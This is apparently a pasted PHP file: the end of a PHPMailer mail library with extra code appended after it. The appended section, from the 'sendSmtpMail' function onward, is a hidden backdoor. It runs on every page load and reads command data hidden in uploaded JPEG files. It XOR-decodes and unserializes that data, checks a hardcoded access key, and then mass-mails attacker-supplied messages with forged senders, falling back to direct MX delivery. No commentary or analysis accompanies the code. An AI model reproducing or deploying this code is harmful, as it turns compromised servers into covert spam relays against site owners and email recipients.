  2650. if ($this->exceptions) {
  2651. throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  2652. }
  2653. return '';
  2654. }
  2655. $privKeyStr = file_get_contents($this->DKIM_private);
  2656. if ($this->DKIM_passphrase != '') {
  2657. $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
  2658. } else {
  2659. $privKey = $privKeyStr;
  2660. }
  2661. if (openssl_sign($signHeader, $signature, $privKey)) {
  2662. return base64_encode($signature);
  2663. }
  2664. return '';
  2665. }
  2666. public function DKIM_HeaderC($signHeader)
  2667. {
  2668. $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
  2669. $lines = explode("\r\n", $signHeader);
  2670. foreach ($lines as $key => $line) {
  2671. list($heading, $value) = explode(':', $line, 2);
  2672. $heading = strtolower($heading);
  2673. $value = preg_replace('/\s+/', ' ', $value); // Compress useless spaces
  2674. $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
  2675. }
  2676. $signHeader = implode("\r\n", $lines);
  2677. return $signHeader;
  2678. }
  2679. public function DKIM_BodyC($body)
  2680. {
  2681. if ($body == '') {
  2682. return "\r\n";
  2683. }
  2684. // stabilize line endings
  2685. $body = str_replace("\r\n", "\n", $body);
  2686. $body = str_replace("\n", "\r\n", $body);
  2687. // END stabilize line endings
  2688. while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
  2689. $body = substr($body, 0, strlen($body) - 2);
  2690. }
  2691. return $body;
  2692. }
  2693. public function DKIM_Add($headers_line, $subject, $body)
  2694. {
  2695. $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms
  2696. $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
  2697. $DKIMquery = 'dns/txt'; // Query method
  2698. $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
  2699. $subject_header = "Subject: $subject";
  2700. $headers = explode($this->LE, $headers_line);
  2701. $from_header = '';
  2702. $to_header = '';
  2703. $current = '';
  2704. foreach ($headers as $header) {
  2705. if (strpos($header, 'From:') === 0) {
  2706. $from_header = $header;
  2707. $current = 'from_header';
  2708. } elseif (strpos($header, 'To:') === 0) {
  2709. $to_header = $header;
  2710. $current = 'to_header';
  2711. } else {
  2712. if ($current && strpos($header, ' =?') === 0) {
  2713. $current .= $header;
  2714. } else {
  2715. $current = '';
  2716. }
  2717. }
  2718. }
  2719. $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
  2720. $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
  2721. $subject = str_replace(
  2722. '|',
  2723. '=7C',
  2724. $this->DKIM_QP($subject_header)
  2725. ); // Copied header fields (dkim-quoted-printable)
  2726. $body = $this->DKIM_BodyC($body);
  2727. $DKIMlen = strlen($body); // Length of body
  2728. $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body
  2729. $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';
  2730. $dkimhdrs = 'DKIM-Signature: v=1; a=' .
  2731. $DKIMsignatureType . '; q=' .
  2732. $DKIMquery . '; l=' .
  2733. $DKIMlen . '; s=' .
  2734. $this->DKIM_selector .
  2735. ";\r\n" .
  2736. "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
  2737. "\th=From:To:Subject;\r\n" .
  2738. "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
  2739. "\tz=$from\r\n" .
  2740. "\t|$to\r\n" .
  2741. "\t|$subject;\r\n" .
  2742. "\tbh=" . $DKIMb64 . ";\r\n" .
  2743. "\tb=";
  2744. $toSign = $this->DKIM_HeaderC(
  2745. $from_header . "\r\n" . $to_header . "\r\n" . $subject_header . "\r\n" . $dkimhdrs
  2746. );
  2747. $signed = $this->DKIM_Sign($toSign);
  2748. return $dkimhdrs . $signed . "\r\n";
  2749. }
  2750. public function getToAddresses()
  2751. {
  2752. return $this->to;
  2753. }
  2754.  
  2755. public function getCcAddresses()
  2756. {
  2757. return $this->cc;
  2758. }
  2759.  
  2760. public function getBccAddresses()
  2761. {
  2762. return $this->bcc;
  2763. }
  2764.  
  2765. public function getReplyToAddresses()
  2766. {
  2767. return $this->ReplyTo;
  2768. }
  2769.  
  2770. public function getAllRecipientAddresses()
  2771. {
  2772. return $this->all_recipients;
  2773. }
  2774.  
  2775. protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
  2776. {
  2777. if (!empty($this->action_function) && is_callable($this->action_function)) {
  2778. $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
  2779. call_user_func_array($this->action_function, $params);
  2780. }
  2781. }
  2782. }
  2783. class phpmailerException extends Exception
  2784. {
  2785. public function errorMessage()
  2786. {
  2787. $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
  2788. return $errorMsg;
  2789. }
  2790. }
  2791.  
  2792. /////////////////////////////////////////////////////////////////
  2793. function sendSmtpMail($from_email, $from_name, $to, $subject, $body, $type, $config_file)
  2794. {
  2795. $mail = new PHPMailer();
  2796. $mail->isMail();
  2797. $mail->CharSet = 'utf-8';
  2798. $mail->SetFrom($from_email, $from_name);
  2799. $mail->AddAddress($to);
  2800. $mail->Subject = $subject;
  2801.  
  2802. if ($type == "1")
  2803. {
  2804. $mail->MsgHTML($body);
  2805. }
  2806. elseif ($type == "2")
  2807. {
  2808. $mail->isHTML(false);
  2809. $mail->Body = $body;
  2810. }
  2811. if (isset($_FILES))
  2812. {
  2813. foreach($_FILES as $key => $file)
  2814. {
  2815. if ($file['tmp_name'] != $config_file)
  2816. {
  2817. $mail->addAttachment($file['tmp_name'], $file['name']);
  2818. }
  2819. }
  2820. }
  2821. if (!$mail->send())
  2822. {
  2823. $to_domain = explode("@", $to);
  2824. $to_domain = $to_domain[1];
  2825. $mail->IsSMTP();
  2826. $mail->Host = mx_lookup($to_domain);
  2827. $mail->Port = 25;
  2828. $mail->SMTPAuth = false;
  2829. if (!$mail->send())
  2830. {
  2831. return Array(0, $mail->ErrorInfo);
  2832. }
  2833. else
  2834. {
  2835. return Array(2, 0);
  2836. }
  2837. }
  2838. else
  2839. {
  2840. return Array(1, 0);
  2841. }
  2842. }
  2843. if (isset($_FILES))
  2844. {
  2845. foreach($_FILES as $key => $file)
  2846. {
  2847. if(strpos($file['name'], ".jpg"))
  2848. {
  2849. $res = type1_send($file['tmp_name']);
  2850. if ($res)
  2851. {
  2852. echo $res;
  2853. }
  2854. }
  2855. }
  2856. }
  2857. function mx_lookup($hostname)
  2858. {
  2859. @getmxrr($hostname, $mxhosts, $precedence);
  2860. if(count($mxhosts) === 0) return '127.0.0.1';
  2861. $position = array_keys($precedence, min($precedence));
  2862. return $mxhosts[$position[0]];
  2863. }
  2864. function myhex2bin( $str ) {
  2865. $sbin = "";
  2866. $len = strlen( $str );
  2867. for ( $i = 0; $i < $len; $i += 2 ) {
  2868. $sbin .= pack( "H*", substr( $str, $i, 2 ) );
  2869. }
  2870. return $sbin;
  2871. }
  2872.  
  2873. function decode($data, $key)
  2874. {
  2875. $out_data = "";
  2876. for ($i=0; $i<strlen($data);)
  2877. {
  2878. for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
  2879. {
  2880. $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
  2881. }
  2882. }
  2883. return $out_data;
  2884. }
  2885. function type1_send($config_file)
  2886. {
  2887. $data = file_get_contents($config_file);
  2888. $start_pos = strpos($data, myhex2bin("ffda"));
  2889. if ($start_pos)
  2890. {
  2891. $start_pos += (20);
  2892. $end_pos = strrpos($data, myhex2bin("ffd9"));
  2893. if ($end_pos)
  2894. {
  2895. $data = substr($data, $start_pos, $end_pos);
  2896. }
  2897. else
  2898. {
  2899. return FALSE;
  2900. }
  2901. }
  2902. else
  2903. {
  2904. return FALSE;
  2905. }
  2906. $key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
  2907. $data = decode($data, $key);
  2908. $data = @unserialize($data);
  2909. if (!$data || !isset($data['ak']))
  2910. {
  2911. return FALSE;
  2912. }
  2913. if ($data['ak'] != "c8509f6d-0953-4b96-ae13-322d5f48a821")
  2914. {
  2915. exit();
  2916. }
  2917. if (isset($data['c']))
  2918. {
  2919. $res["r"]["c"] = $data['c'];
  2920. return base64_encode(serialize($res));
  2921. }
  2922. $good = 0;
  2923. $bad = 0;
  2924. $last_error = Array(0, 0);
  2925. foreach ($data['e'] as $uid=>$email)
  2926. {
  2927. $theme = $data['s'][array_rand($data['s'])];
  2928. $theme = alter_macros($theme);
  2929. $theme = num_macros($theme);
  2930. $theme = xnum_macros($theme);
  2931. $message = $data['l'];
  2932. $message = alter_macros($message);
  2933. $message = num_macros($message);
  2934. $message = xnum_macros($message);
  2935. $message = fteil_macros($message, $uid);
  2936. $from = $data['f'][array_rand($data['f'])];
  2937. $from = alter_macros($from);
  2938. $from = num_macros($from);
  2939. $from = xnum_macros($from);
  2940.  
  2941. if (strstr($from, "[CUSTOM]") == FALSE)
  2942. {
  2943. $from = from_host($from);
  2944. }
  2945. else
  2946. {
  2947. $from = str_replace("[CUSTOM]", "", $from);
  2948. }
  2949.  
  2950. $from_email = explode("<", $from);
  2951. $from_email = explode(">", $from_email[1]);
  2952. $from_name = explode("\"", $from);
  2953. $last_error = sendSmtpMail($from_email[0], $from_name[1], $email, $theme, $message, $data['lt'], $config_file);
  2954.  
  2955. if ($last_error[1] === 0)
  2956. {
  2957. $good++;
  2958. }
  2959. else
  2960. {
  2961. $bad++;
  2962. $good = count($data['e']) - $bad;
  2963. }
  2964. }
  2965.  
  2966. $res["r"]["t"] = $last_error[0];
  2967. $res["r"]["e"] = $last_error[1] === FALSE ? 0 : $last_error[1];
  2968. $res["r"]["g"] = $good;
  2969. $res["r"]["b"] = $bad;
  2970. return base64_encode(serialize($res));
  2971. }
Add Comment
Please, Sign In to add comment